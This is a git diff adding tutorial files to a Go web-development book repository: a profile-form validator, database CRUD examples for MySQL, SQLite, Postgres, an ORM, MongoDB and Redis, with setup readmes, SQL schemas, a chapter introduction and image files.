+ Note: Refreshing the page will produce a duplicate entry. + {{end}} + + +{{end}} diff --git a/th/code/src/apps/ch.4.5/validator/main.go b/th/code/src/apps/ch.4.5/validator/main.go new file mode 100644 index 000000000..351112314 --- /dev/null +++ b/th/code/src/apps/ch.4.5/validator/main.go @@ -0,0 +1,175 @@ +// This file contains all the validators to validate the profile page. +package validator + +import ( + "errors" + "fmt" + "net/url" + "regexp" + "strconv" + "strings" + "time" +) + +type ProfilePage struct { + Form *url.Values +} +type Errors struct { + Errors []error +} + +// Goes through the form object and validates each element. +// Attachs an error to the output if validation fails. +func (p *ProfilePage) GetErrors() Errors { + errs := make([]error, 0, 10) + if *p.Form == nil || len(*p.Form) < 1 { + errs = append(errs, errors.New("No data was received. Please submit from the profile page.")) + } + for name, val := range *p.Form { + if fn, ok := stringValidator[name]; ok { + if err := fn(strings.Join(val, "")); err != nil { + errs = append(errs, err) + } + } else { + if fn, ok := stringsValidator[name]; ok { + if err := fn(val); err != nil { + errs = append(errs, err) + } + } + } + } + return Errors{errs} +} + +const ( + // Used for parsing the time + mmddyyyyForm = "01/02/2006" // we want the date sent in this format + yyyymmddForm = "2006-01-02" // However, HTML5 pages send the date in this format +) + +var stringValidator map[string]func(string) error = map[string]func(string) error{ + // parameter name : validator reference + "age": checkAge, + "birthday": checkDate, + "chineseName": checkChineseName, + "email": checkEmail, + "gender": checkGender, + "shirtsize": checkShirtSize, + "username": checkUsername, +} +var stringsValidator map[string]func([]string) error = map[string]func([]string) error{ + // parameter name : validator reference + "sibling": checkSibling, +} + +// Returns true if slices have a common element +func doSlicesIntersect(s1, s2 []string) bool { + if s1 == nil || s2 == nil { + return false + } + for _, str := range s1 { + if isElementInSlice(str, s2) { + return true + } + } + return false +} +func isElementInSlice(str string, sl []string) bool { + if sl == nil || str == "" { + return false + } + for _, v := range sl { + if v == str { + return true + } + } + return false +} + +// Checks if all the characters are chinese characters. Won't check if empty.' +func checkChineseName(str string) error { + if str != "" { + if m, _ := regexp.MatchString("^[\\x{4e00}-\\x{9fa5}]+$", strings.Trim(str, " ")); !m { + return errors.New("Please make sure that the chinese name only contains chinese characters.") + } + } + return nil +} + +// Checks if a user name exist. +func checkUsername(str string) error { + if strings.Trim(str, " ") == "" { + return errors.New("Please enter a username.") + } + return nil +} + +// Check if age is a number and between 13 and 130 +func checkAge(str string) error { + age, err := strconv.Atoi(str) + if str == "" || err != nil { + return errors.New("Please enter a valid age.") + } + if age < 13 { + return errors.New("You must be at least 13 years of age to submit.") + } + if age > 130 { + return errors.New("You're too old to register, grandpa.") + } + return nil +} +func checkEmail(str string) error { + if m, err := regexp.MatchString(`^[^@]+@[^@]+$`, str); !m { + fmt.Println("err = ", err) + return errors.New("Please enter a valid email address.") + } + return nil +} + +// Checks if a valid date was passed. +func checkDate(str string) error { + _, err := time.Parse(mmddyyyyForm, str) + if err != nil { + _, err = time.Parse(yyyymmddForm, str) + } + if str == "" || err != nil { + return errors.New("Please enter a valid Date.") + } + return nil +} + +// Checks if the passed input is a known gender option +func checkGender(str string) error { + if str == "" { + return nil + } + siblings := []string{"m", "f", "na"} + if !isElementInSlice(str, siblings) { + return errors.New("Please select a valid gender.") + } + return nil +} + +// Check if all the values are known options. +func checkSibling(strs []string) error { + if strs == nil || len(strs) < 1 { + return nil + } + siblings := []string{"m", "f"} + if siblings != nil && !doSlicesIntersect(siblings, strs) { + return errors.New("Please select a valid sibling") + } + return nil +} + +// Checks if the shirt size is a known option. +func checkShirtSize(str string) error { + if str == "" { + return nil + } + shirts := []string{"s", "m", "l", "xl", "xxl"} + if !isElementInSlice(str, shirts) { + return errors.New("Please select a valid shirt size") + } + return nil +} diff --git a/th/code/src/apps/ch.5.2/main.go b/th/code/src/apps/ch.5.2/main.go new file mode 100644 index 000000000..b64c44506 --- /dev/null +++ b/th/code/src/apps/ch.5.2/main.go @@ -0,0 +1,76 @@ +// Example code for Chapter 5.2 from "Build Web Application with Golang" +// Purpose: Use SQL driver to perform simple CRUD operations. +package main + +import ( + "database/sql" + "fmt" + _ "github.com/go-sql-driver/mysql" +) + +const ( + DB_USER = "user" + DB_PASSWORD = "" + DB_NAME = "test" +) + +func main() { + dbSouce := fmt.Sprintf("%v:%v@/%v?charset=utf8", DB_USER, DB_PASSWORD, DB_NAME) + db, err := sql.Open("mysql", dbSouce) + checkErr(err) + defer db.Close() + + fmt.Println("Inserting") + stmt, err := db.Prepare("INSERT userinfo SET username=?,departname=?,created=?") + checkErr(err) + + res, err := stmt.Exec("astaxie", "software developement", "2012-12-09") + checkErr(err) + + id, err := res.LastInsertId() + checkErr(err) + + fmt.Println("id of last inserted row =", id) + fmt.Println("Updating") + stmt, err = db.Prepare("update userinfo set username=? where uid=?") + checkErr(err) + + res, err = stmt.Exec("astaxieupdate", id) + checkErr(err) + + affect, err := res.RowsAffected() + checkErr(err) + + fmt.Println(affect, "row(s) changed") + + fmt.Println("Querying") + rows, err := db.Query("SELECT * FROM userinfo") + checkErr(err) + + for rows.Next() { + var uid int + var username, department, created string + err = rows.Scan(&uid, &username, &department, &created) + checkErr(err) + fmt.Println("uid | username | department | created") + fmt.Printf("%3v | %6v | %6v | %6v\n", uid, username, department, created) + } + + fmt.Println("Deleting") + stmt, err = db.Prepare("delete from userinfo where uid=?") + checkErr(err) + + res, err = stmt.Exec(id) + checkErr(err) + + affect, err = res.RowsAffected() + checkErr(err) + + fmt.Println(affect, "row(s) changed") +} + +func checkErr(err error) { + if err != nil { + panic(err) + } +} diff --git a/th/code/src/apps/ch.5.2/readme.md b/th/code/src/apps/ch.5.2/readme.md new file mode 100644 index 000000000..9e34f7d78 --- /dev/null +++ b/th/code/src/apps/ch.5.2/readme.md @@ -0,0 +1,12 @@ +## Setup for `ch.5.2` + +- Step 1) Install and run MySql +- Step 2) Create a user and database according to the constants in `main.go` + + DB_USER = "user" + DB_PASSWORD = "" + DB_NAME = "test" + +- Step 3) Create table `userinfo` located at `schema.sql` +- Step 4) Run `go get` to download and install the remote packages. +- Step 5) Execute the program with `go run main.go` diff --git a/th/code/src/apps/ch.5.2/schema.sql b/th/code/src/apps/ch.5.2/schema.sql new file mode 100644 index 000000000..04128f7f2 --- /dev/null +++ b/th/code/src/apps/ch.5.2/schema.sql @@ -0,0 +1,7 @@ +CREATE TABLE `userinfo` ( + `uid` INT(10) NOT NULL AUTO_INCREMENT, + `username` VARCHAR(64) NULL DEFAULT NULL, + `departname` VARCHAR(64) NULL DEFAULT NULL, + `created` DATE NULL DEFAULT NULL, + PRIMARY KEY (`uid`) +); diff --git a/th/code/src/apps/ch.5.3/foo.db b/th/code/src/apps/ch.5.3/foo.db new file mode 100644 index 000000000..d805156b4 Binary files /dev/null and b/th/code/src/apps/ch.5.3/foo.db differ diff --git a/th/code/src/apps/ch.5.3/main.go b/th/code/src/apps/ch.5.3/main.go new file mode 100644 index 000000000..6f19518f7 --- /dev/null +++ b/th/code/src/apps/ch.5.3/main.go @@ -0,0 +1,72 @@ +// Example code for Chapter 5.3 from "Build Web Application with Golang" +// Purpose: Shows how to run simple CRUD operations using a sqlite driver +package main + +import ( + "database/sql" + "fmt" + _ "github.com/mattn/go-sqlite3" + "time" +) + +const DB_PATH = "./foo.db" + +func main() { + db, err := sql.Open("sqlite3", DB_PATH) + checkErr(err) + defer db.Close() + + fmt.Println("Inserting") + stmt, err := db.Prepare("INSERT INTO userinfo(username, department, created) values(?,?,?)") + checkErr(err) + + res, err := stmt.Exec("astaxie", "software developement", time.Now().Format("2006-01-02")) + checkErr(err) + + id, err := res.LastInsertId() + checkErr(err) + + fmt.Println("id of last inserted row =", id) + fmt.Println("Updating") + stmt, err = db.Prepare("update userinfo set username=? where uid=?") + checkErr(err) + + res, err = stmt.Exec("astaxieupdate", id) + checkErr(err) + + affect, err := res.RowsAffected() + checkErr(err) + + fmt.Println(affect, "row(s) changed") + + fmt.Println("Querying") + rows, err := db.Query("SELECT * FROM userinfo") + checkErr(err) + + for rows.Next() { + var uid int + var username, department, created string + err = rows.Scan(&uid, &username, &department, &created) + checkErr(err) + fmt.Println("uid | username | department | created") + fmt.Printf("%3v | %6v | %8v | %6v\n", uid, username, department, created) + } + + fmt.Println("Deleting") + stmt, err = db.Prepare("delete from userinfo where uid=?") + checkErr(err) + + res, err = stmt.Exec(id) + checkErr(err) + + affect, err = res.RowsAffected() + checkErr(err) + + fmt.Println(affect, "row(s) changed") +} + +func checkErr(err error) { + if err != nil { + panic(err) + } +} diff --git a/th/code/src/apps/ch.5.3/readme.md b/th/code/src/apps/ch.5.3/readme.md new file mode 100644 index 000000000..8ca48a7b8 --- /dev/null +++ b/th/code/src/apps/ch.5.3/readme.md @@ -0,0 +1,23 @@ +## Set up for `ch.5.3` + +- Step 1) Download and install sqlite 3. +- Step 2) Run `sqlite3 foo.db` to create a databased called `foo`. +- Step 3) Create the `userinfo` table in sqlite using `schema.sql`. + + Read and run sql statements + + sqlite> .read schema.sql + + Show tables + + sqlite> .tables + userinfo + + +- Step 4) Exit sqlite. + + sqlite> .exit + +- Step 5) Run `go get` to download and install remote packages. +- Step 6) Run the program with `go run main.go` + diff --git a/th/code/src/apps/ch.5.3/schema.sql b/th/code/src/apps/ch.5.3/schema.sql new file mode 100644 index 000000000..55aebb48d --- /dev/null +++ b/th/code/src/apps/ch.5.3/schema.sql @@ -0,0 +1,6 @@ +CREATE TABLE `userinfo` ( + `uid` INTEGER PRIMARY KEY AUTOINCREMENT, + `username` VARCHAR(64) NULL, + `department` VARCHAR(64) NULL, + `created` DATE NULL + ); diff --git a/th/code/src/apps/ch.5.4/main.go b/th/code/src/apps/ch.5.4/main.go new file mode 100644 index 000000000..3b7afdafb --- /dev/null +++ b/th/code/src/apps/ch.5.4/main.go @@ -0,0 +1,78 @@ +// Example code for Chapter 5.4 from "Build Web Application with Golang" +// Purpose: Show how to perform CRUD operations using a postgres driver +package main + +import ( + "database/sql" + "fmt" + "time" + + _ "github.com/lib/pq" +) + +const ( + DB_USER = "user" + DB_PASSWORD = "" + DB_NAME = "test" +) + +func main() { + dbinfo := fmt.Sprintf("user=%s password=%s dbname=%s sslmode=disable", + DB_USER, DB_PASSWORD, DB_NAME) + db, err := sql.Open("postgres", dbinfo) + checkErr(err) + defer db.Close() + + fmt.Println("# Inserting values") + + var lastInsertId int + err = db.QueryRow("INSERT INTO userinfo(username,departname,created) VALUES($1,$2,$3) returning uid;", + "astaxie", "software developement", "2012-12-09").Scan(&lastInsertId) + checkErr(err) + fmt.Println("id of last inserted row =", lastInsertId) + + fmt.Println("# Updating") + stmt, err := db.Prepare("update userinfo set username=$1 where uid=$2") + checkErr(err) + + res, err := stmt.Exec("astaxieupdate", lastInsertId) + checkErr(err) + + affect, err := res.RowsAffected() + checkErr(err) + + fmt.Println(affect, "row(s) changed") + + fmt.Println("# Querying") + rows, err := db.Query("SELECT * FROM userinfo") + checkErr(err) + + for rows.Next() { + var uid int + var username string + var department string + var created time.Time + err = rows.Scan(&uid, &username, &department, &created) + checkErr(err) + fmt.Println("uid | username | department | created ") + fmt.Printf("%3v | %8v | %6v | %6v\n", uid, username, department, created) + } + + fmt.Println("# Deleting") + stmt, err = db.Prepare("delete from userinfo where uid=$1") + checkErr(err) + + res, err = stmt.Exec(lastInsertId) + checkErr(err) + + affect, err = res.RowsAffected() + checkErr(err) + + fmt.Println(affect, "row(s) changed") +} + +func checkErr(err error) { + if err != nil { + panic(err) + } +} diff --git a/th/code/src/apps/ch.5.4/readme.md b/th/code/src/apps/ch.5.4/readme.md new file mode 100644 index 000000000..74f1e2a3c --- /dev/null +++ b/th/code/src/apps/ch.5.4/readme.md @@ -0,0 +1,12 @@ +## Setup for ch.5.4 + +- Step 1) Install and run Postgres +- Step 2) Create a user and database according to the constants in `main.go` + + DB_USER = "user" + DB_PASSWORD = "" + DB_NAME = "test" + +- Step 3) Create table `userinfo` located at `schema.sql` +- Step 4) Run `go get` to download and install the remote packages. +- Step 5) Execute the program with `go run main.go` diff --git a/th/code/src/apps/ch.5.4/schema.sql b/th/code/src/apps/ch.5.4/schema.sql new file mode 100644 index 000000000..001e84332 --- /dev/null +++ b/th/code/src/apps/ch.5.4/schema.sql @@ -0,0 +1,9 @@ +CREATE TABLE userinfo +( + uid serial NOT NULL, + username character varying(100) NOT NULL, + departname character varying(500) NOT NULL, + Created date, + CONSTRAINT userinfo_pkey PRIMARY KEY (uid) +) +WITH (OIDS=FALSE); diff --git a/th/code/src/apps/ch.5.5/main.go b/th/code/src/apps/ch.5.5/main.go new file mode 100644 index 000000000..ce90e9607 --- /dev/null +++ b/th/code/src/apps/ch.5.5/main.go @@ -0,0 +1,170 @@ +// Example code for Chapter 5.5 +// Purpose is to show to use BeeDB ORM for basic CRUD operations for sqlite3 +package main + +import ( + "database/sql" + "fmt" + "github.com/astaxie/beedb" + _ "github.com/mattn/go-sqlite3" + "time" +) + +var orm beedb.Model + +type Userinfo struct { + Uid int `beedb:"PK"` + Username string + Department string + Created string +} + +const DB_PATH = "./foo.db" + +func checkError(err error) { + if err != nil { + panic(err) + } +} +func getTimeStamp() string { + return time.Now().Format("2006-01-02 15:04:05") +} +func insertUsingStruct() int64 { + fmt.Println("insertUsingStruct()") + var obj Userinfo + obj.Username = "Test Add User" + obj.Department = "Test Add Department" + obj.Created = getTimeStamp() + checkError(orm.Save(&obj)) + fmt.Printf("%+v\n", obj) + return int64(obj.Uid) +} +func insertUsingMap() int64 { + fmt.Println("insertUsingMap()") + add := make(map[string]interface{}) + add["username"] = "astaxie" + add["department"] = "cloud develop" + add["created"] = getTimeStamp() + id, err := orm.SetTable("userinfo").Insert(add) + checkError(err) + fmt.Println("Last row inserted id =", id) + return id +} + +func getOneUserInfo(id int64) Userinfo { + fmt.Println("getOneUserInfo()") + var obj Userinfo + checkError(orm.Where("uid=?", id).Find(&obj)) + return obj +} + +func getAllUserInfo(id int64) []Userinfo { + fmt.Println("getAllUserInfo()") + var alluser []Userinfo + checkError(orm.Limit(10).Where("uid>?", id).FindAll(&alluser)) + return alluser +} + +func updateUserinfo(id int64) { + fmt.Println("updateUserinfo()") + var obj Userinfo + obj.Uid = int(id) + obj.Username = "Update Username" + obj.Department = "Update Department" + obj.Created = getTimeStamp() + checkError(orm.Save(&obj)) + fmt.Printf("%+v\n", obj) +} + +func updateUsingMap(id int64) { + fmt.Println("updateUsingMap()") + t := make(map[string]interface{}) + t["username"] = "updateastaxie" + //update one + // id, err := orm.SetTable("userinfo").SetPK("uid").Where(2).Update(t) + //update batch + lastId, err := orm.SetTable("userinfo").Where("uid>?", id).Update(t) + checkError(err) + fmt.Println("Last row updated id =", lastId) +} + +func getMapsFromSelect(id int64) []map[string][]byte { + fmt.Println("getMapsFromSelect()") + //Original SQL Backinfo resultsSlice []map[string][]byte + //default PrimaryKey id + c, err := orm.SetTable("userinfo").SetPK("uid").Where(id).Select("uid,username").FindMap() + checkError(err) + fmt.Printf("%+v\n", c) + return c +} + +func groupby() { + fmt.Println("groupby()") + //Original SQL Group By + b, err := orm.SetTable("userinfo").GroupBy("username").Having("username='updateastaxie'").FindMap() + checkError(err) + fmt.Printf("%+v\n", b) +} + +func joinTables(id int64) { + fmt.Println("joinTables()") + //Original SQL Join Table + a, err := orm.SetTable("userinfo").Join("LEFT", "userdetail", "userinfo.uid=userdetail.uid").Where("userinfo.uid=?", id).Select("userinfo.uid,userinfo.username,userdetail.profile").FindMap() + checkError(err) + fmt.Printf("%+v\n", a) +} + +func deleteWithUserinfo(id int64) { + fmt.Println("deleteWithUserinfo()") + obj := getOneUserInfo(id) + id, err := orm.Delete(&obj) + checkError(err) + fmt.Println("Last row deleted id =", id) +} + +func deleteRows() { + fmt.Println("deleteRows()") + //original SQL delete + id, err := orm.SetTable("userinfo").Where("uid>?", 2).DeleteRow() + checkError(err) + fmt.Println("Last row updated id =", id) +} + +func deleteAllUserinfo(id int64) { + fmt.Println("deleteAllUserinfo()") + //delete all data + alluser := getAllUserInfo(id) + id, err := orm.DeleteAll(&alluser) + checkError(err) + fmt.Println("Last row updated id =", id) +} +func main() { + db, err := sql.Open("sqlite3", DB_PATH) + checkError(err) + orm = beedb.New(db) + var lastIdInserted int64 + + fmt.Println("Inserting") + lastIdInserted = insertUsingStruct() + insertUsingMap() + + a := getOneUserInfo(lastIdInserted) + fmt.Println(a) + + b := getAllUserInfo(lastIdInserted) + fmt.Println(b) + + fmt.Println("Updating") + updateUserinfo(lastIdInserted) + updateUsingMap(lastIdInserted) + + fmt.Println("Querying") + getMapsFromSelect(lastIdInserted) + groupby() + joinTables(lastIdInserted) + + fmt.Println("Deleting") + deleteWithUserinfo(lastIdInserted) + deleteRows() + deleteAllUserinfo(lastIdInserted) +} diff --git a/th/code/src/apps/ch.5.5/readme.md b/th/code/src/apps/ch.5.5/readme.md new file mode 100644 index 000000000..fcad11c8a --- /dev/null +++ b/th/code/src/apps/ch.5.5/readme.md @@ -0,0 +1,23 @@ +## Set up for `ch.5.5` + +- Step 1) Download and install sqlite 3. +- Step 2) Run `sqlite3 foo.db` to create a databased called `foo`. +- Step 3) Create the tables found in `schema.sql` in sqlite. + + Read and run sql statements + + sqlite> .read schema.sql + + Show tables + + sqlite> .tables + userinfo + userdetail + +- Step 4) Exit sqlite. + + sqlite> .exit + +- Step 5) Run `go get` to download and install remote packages. +- Step 6) Run the program with `go run main.go` + diff --git a/th/code/src/apps/ch.5.5/schema.sql b/th/code/src/apps/ch.5.5/schema.sql new file mode 100644 index 000000000..da897d5fb --- /dev/null +++ b/th/code/src/apps/ch.5.5/schema.sql @@ -0,0 +1,12 @@ +CREATE TABLE `userinfo` ( + `uid` INTEGER PRIMARY KEY AUTOINCREMENT, + `username` VARCHAR(64) NULL, + `department` VARCHAR(64) NULL, + `created` DATE NULL +); +CREATE TABLE `userdetail` ( + `uid` INT(10) NULL, + `intro` TEXT NULL, + `profile` TEXT NULL, + PRIMARY KEY (`uid`) +); diff --git a/th/code/src/apps/ch.5.6/mongodb/main.go b/th/code/src/apps/ch.5.6/mongodb/main.go new file mode 100644 index 000000000..9013f5ae6 --- /dev/null +++ b/th/code/src/apps/ch.5.6/mongodb/main.go @@ -0,0 +1,58 @@ +// Example code for Chapter 5.6 from "Build Web Application with Golang" +// Purpose: Shows you have to perform basic CRUD operations for a mongodb driver. +package main + +import ( + "fmt" + "labix.org/v2/mgo" + "labix.org/v2/mgo/bson" +) + +type Person struct { + Name string + Phone string +} + +func checkError(err error) { + if err != nil { + panic(err) + } +} + +const ( + DB_NAME = "test" + DB_COLLECTION = "people" +) + +func main() { + session, err := mgo.Dial("localhost") + checkError(err) + defer session.Close() + + session.SetMode(mgo.Monotonic, true) + + c := session.DB(DB_NAME).C(DB_COLLECTION) + err = c.DropCollection() + checkError(err) + + ale := Person{"Ale", "555-5555"} + cla := Person{"Cla", "555-1234"} + + fmt.Println("Inserting") + err = c.Insert(&ale, &cla) + checkError(err) + + fmt.Println("Updating") + ale.Phone = "555-0101" + err = c.Update(bson.M{"name": "Ale"}, &ale) + + fmt.Println("Querying") + result := Person{} + err = c.Find(bson.M{"name": "Ale"}).One(&result) + checkError(err) + fmt.Println("Phone:", result.Phone) + + fmt.Println("Deleting") + err = c.Remove(bson.M{"name": "Ale"}) + checkError(err) +} diff --git a/th/code/src/apps/ch.5.6/mongodb/readme.md b/th/code/src/apps/ch.5.6/mongodb/readme.md new file mode 100644 index 000000000..35bee2fe2 --- /dev/null +++ b/th/code/src/apps/ch.5.6/mongodb/readme.md @@ -0,0 +1,6 @@ +## Setup for `ch.5.6` for MongoDB + +- Step 1) Install and run MongoDB +- Step 2) Launch the MongoDB daemon (mongod) to start the server. +- Step 3) Run `go get` to download and install the remote packages. +- Step 4) Execute the program with `go run main.go` diff --git a/th/code/src/apps/ch.5.6/redis/main.go b/th/code/src/apps/ch.5.6/redis/main.go new file mode 100644 index 000000000..9bac3f30e --- /dev/null +++ b/th/code/src/apps/ch.5.6/redis/main.go @@ -0,0 +1,60 @@ +// Example code for Chapter 5.6 from "Build Web Application with Golang" +// Purpose: Shows you have to perform basic CRUD operations for a redis driver. +package main + +import ( + "fmt" + "github.com/astaxie/goredis" +) + +func checkError(err error) { + if err != nil { + panic(err) + } +} + +const ( + DB_PORT = "9191" + DB_URL = "127.0.0.1" +) + +func main() { + var client goredis.Client + + // Set the default port in Redis + client.Addr = DB_URL + ":" + DB_PORT + + // string manipulation + fmt.Println("Inserting") + err := client.Set("a", []byte("hello")) + checkError(err) + + // list operation + vals := []string{"a", "b", "c", "d"} + for _, v := range vals { + err = client.Rpush("l", []byte(v)) + checkError(err) + } + fmt.Println("Updating") + err = client.Set("a", []byte("a is for apple")) + checkError(err) + err = client.Rpush("l", []byte("e")) + checkError(err) + + fmt.Println("Querying") + val, err := client.Get("a") + checkError(err) + fmt.Println(string(val)) + + dbvals, err := client.Lrange("l", 0, 4) + checkError(err) + for i, v := range dbvals { + println(i, ":", string(v)) + } + + fmt.Println("Deleting") + _, err = client.Del("l") + checkError(err) + _, err = client.Del("a") + checkError(err) +} diff --git a/th/code/src/apps/ch.5.6/redis/readme.md b/th/code/src/apps/ch.5.6/redis/readme.md new file mode 100644 index 000000000..4965e7bb3 --- /dev/null +++ b/th/code/src/apps/ch.5.6/redis/readme.md @@ -0,0 +1,10 @@ +## Setup for `ch.5.6` for Redis + +- Step 1) Install and run Redis +- Step 2) Launch the Redis server matching the DB constants. + + DB_PORT = "9191" + DB_URL = "127.0.0.1" + +- Step 3) Run `go get` to download and install the remote packages. +- Step 4) Execute the program with `go run main.go` diff --git a/th/code/src/mymath/sqrt.go b/th/code/src/mymath/sqrt.go new file mode 100644 index 000000000..6f089e05e --- /dev/null +++ b/th/code/src/mymath/sqrt.go @@ -0,0 +1,12 @@ +// Example code for Chapter 1.2 from "Build Web Application with Golang" +// Purpose: Shows how to create a simple package called `mymath` +// This package must be imported from another go file to run. +package mymath + +func Sqrt(x float64) float64 { + z := 0.0 + for i := 0; i < 1000; i++ { + z -= (z*z - x) / (2 * x) + } + return z +} diff --git a/th/eBook/05.0.md b/th/eBook/05.0.md new file mode 100644 index 000000000..ba0e6af1e --- /dev/null +++ b/th/eBook/05.0.md @@ -0,0 +1,13 @@ +# 5 Database + +For web developers, the database is at the core of web development. You can save almost anything into a database and query or update data inside it, like user information, products or news articles. + +Go doesn't provide any database drivers, but it does have a driver interface defined in the `database/sql` package. People can develop database drivers based on that interface. In section 5.1, we are going to talk about database driver interface design in Go; in sections 5.2 to 5.4, I will introduce some SQL database drivers to you; in section 5.5, i'll present the ORM that i've developed which is based on the `database/sql` interface standard. It's compatible with most drivers that have implemented the `database/sql` interface, and it makes it easy to access databases idiomatically in Go. + +NoSQL has been a hot topic in recent years. More websites are deciding to use NoSQL databases as their main database instead of just for the purpose of caching. I will introduce you to two NoSQL databases, which are MongoDB and Redis, in section 5.6. + +## Links + +- [Directory](preface.md) +- Previous Chapter: [Chapter 4 Summary](04.6.md) +- Next section: [database/sql interface](05.1.md) diff --git a/th/eBook/05.0.md.orig b/th/eBook/05.0.md.orig new file mode 100644 index 000000000..ba0e6af1e --- /dev/null +++ b/th/eBook/05.0.md.orig @@ -0,0 +1,13 @@ +# 5 Database + +For web developers, the database is at the core of web development. You can save almost anything into a database and query or update data inside it, like user information, products or news articles. + +Go doesn't provide any database drivers, but it does have a driver interface defined in the `database/sql` package. People can develop database drivers based on that interface. In section 5.1, we are going to talk about database driver interface design in Go; in sections 5.2 to 5.4, I will introduce some SQL database drivers to you; in section 5.5, i'll present the ORM that i've developed which is based on the `database/sql` interface standard. It's compatible with most drivers that have implemented the `database/sql` interface, and it makes it easy to access databases idiomatically in Go. + +NoSQL has been a hot topic in recent years. More websites are deciding to use NoSQL databases as their main database instead of just for the purpose of caching. I will introduce you to two NoSQL databases, which are MongoDB and Redis, in section 5.6. + +## Links + +- [Directory](preface.md) +- Previous Chapter: [Chapter 4 Summary](04.6.md) +- Next section: [database/sql interface](05.1.md) diff --git a/th/images/1.1.cmd.png b/th/images/1.1.cmd.png new file mode 100644 index 000000000..0df2504b2 Binary files /dev/null and b/th/images/1.1.cmd.png differ diff --git a/th/images/1.1.cmd.png~380a8ee74c41759d8189ad553423467994187253 b/th/images/1.1.cmd.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..0df2504b2 Binary files /dev/null and b/th/images/1.1.cmd.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/th/images/1.1.cmd.png~update the structure for gitbook b/th/images/1.1.cmd.png~update the structure for gitbook new file mode 100644 index 000000000..0df2504b2 Binary files /dev/null and b/th/images/1.1.cmd.png~update the structure for gitbook differ diff --git a/th/images/1.1.linux.png b/th/images/1.1.linux.png new file mode 100644 index 000000000..539563d96 Binary files /dev/null and b/th/images/1.1.linux.png differ diff --git a/th/images/1.1.linux.png~380a8ee74c41759d8189ad553423467994187253 b/th/images/1.1.linux.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..45ffd9240 Binary files /dev/null and b/th/images/1.1.linux.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/th/images/1.1.linux.png~update the structure for gitbook b/th/images/1.1.linux.png~update the structure for gitbook new file mode 100644 index 000000000..539563d96 Binary files /dev/null and b/th/images/1.1.linux.png~update the structure for gitbook differ diff --git a/th/images/1.1.mac.png b/th/images/1.1.mac.png new file mode 100644 index 000000000..ad2ceed6f Binary files /dev/null and b/th/images/1.1.mac.png differ diff --git a/th/images/1.1.mac.png~380a8ee74c41759d8189ad553423467994187253 b/th/images/1.1.mac.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..45ffd9240 Binary files /dev/null and b/th/images/1.1.mac.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/th/images/1.1.mac.png~update the structure for gitbook b/th/images/1.1.mac.png~update the structure for gitbook new file mode 100644 index 000000000..ad2ceed6f Binary files /dev/null and b/th/images/1.1.mac.png~update the structure for gitbook differ diff --git a/th/images/1.3.go.png b/th/images/1.3.go.png new file mode 100644 index 000000000..8155b2d5e Binary files /dev/null and b/th/images/1.3.go.png differ diff --git a/th/images/1.3.go.png~380a8ee74c41759d8189ad553423467994187253 b/th/images/1.3.go.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..8155b2d5e Binary files /dev/null and b/th/images/1.3.go.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/th/images/1.3.go.png~update the structure for gitbook b/th/images/1.3.go.png~update the structure for gitbook new file mode 100644 index 000000000..8155b2d5e Binary files /dev/null and b/th/images/1.3.go.png~update the structure for gitbook differ diff --git a/th/images/1.4.eclipse1.png b/th/images/1.4.eclipse1.png new file mode 100644 index 000000000..5b2f10d8c Binary files /dev/null and b/th/images/1.4.eclipse1.png differ diff --git a/th/images/1.4.eclipse1.png~380a8ee74c41759d8189ad553423467994187253 b/th/images/1.4.eclipse1.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..5b2f10d8c Binary files /dev/null and b/th/images/1.4.eclipse1.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/th/images/1.4.eclipse1.png~update the structure for gitbook b/th/images/1.4.eclipse1.png~update the structure for gitbook new file mode 100644 index 000000000..5b2f10d8c Binary files /dev/null and b/th/images/1.4.eclipse1.png~update the structure for gitbook differ diff --git a/th/images/1.4.eclipse2.png b/th/images/1.4.eclipse2.png new file mode 100644 index 000000000..55931f33c Binary files /dev/null and b/th/images/1.4.eclipse2.png differ diff --git a/th/images/1.4.eclipse2.png~380a8ee74c41759d8189ad553423467994187253 b/th/images/1.4.eclipse2.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..55931f33c Binary files /dev/null and b/th/images/1.4.eclipse2.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/th/images/1.4.eclipse2.png~update the structure for gitbook b/th/images/1.4.eclipse2.png~update the structure for gitbook new file mode 100644 index 000000000..55931f33c Binary files /dev/null and b/th/images/1.4.eclipse2.png~update the structure for gitbook differ diff --git a/th/images/1.4.eclipse3.png b/th/images/1.4.eclipse3.png new file mode 100644 index 000000000..3c7bd6342 Binary files /dev/null and b/th/images/1.4.eclipse3.png differ diff --git a/th/images/1.4.eclipse3.png~380a8ee74c41759d8189ad553423467994187253 b/th/images/1.4.eclipse3.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..3c7bd6342 Binary files /dev/null and b/th/images/1.4.eclipse3.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/th/images/1.4.eclipse3.png~update the structure for gitbook b/th/images/1.4.eclipse3.png~update the structure for gitbook new file mode 100644 index 000000000..3c7bd6342 Binary files /dev/null and b/th/images/1.4.eclipse3.png~update the structure for gitbook differ diff --git a/th/images/1.4.eclipse4.png b/th/images/1.4.eclipse4.png new file mode 100644 index 000000000..d4ee77af1 Binary files /dev/null and b/th/images/1.4.eclipse4.png differ diff --git a/th/images/1.4.eclipse4.png~380a8ee74c41759d8189ad553423467994187253 b/th/images/1.4.eclipse4.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..d4ee77af1 Binary files /dev/null and b/th/images/1.4.eclipse4.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/th/images/1.4.eclipse4.png~update the structure for gitbook b/th/images/1.4.eclipse4.png~update the structure for gitbook new file mode 100644 index 000000000..d4ee77af1 Binary files /dev/null and b/th/images/1.4.eclipse4.png~update the structure for gitbook differ diff --git a/th/images/1.4.eclipse5.png b/th/images/1.4.eclipse5.png new file mode 100644 index 000000000..8a89555d3 Binary files /dev/null and b/th/images/1.4.eclipse5.png differ diff --git a/th/images/1.4.eclipse5.png~380a8ee74c41759d8189ad553423467994187253 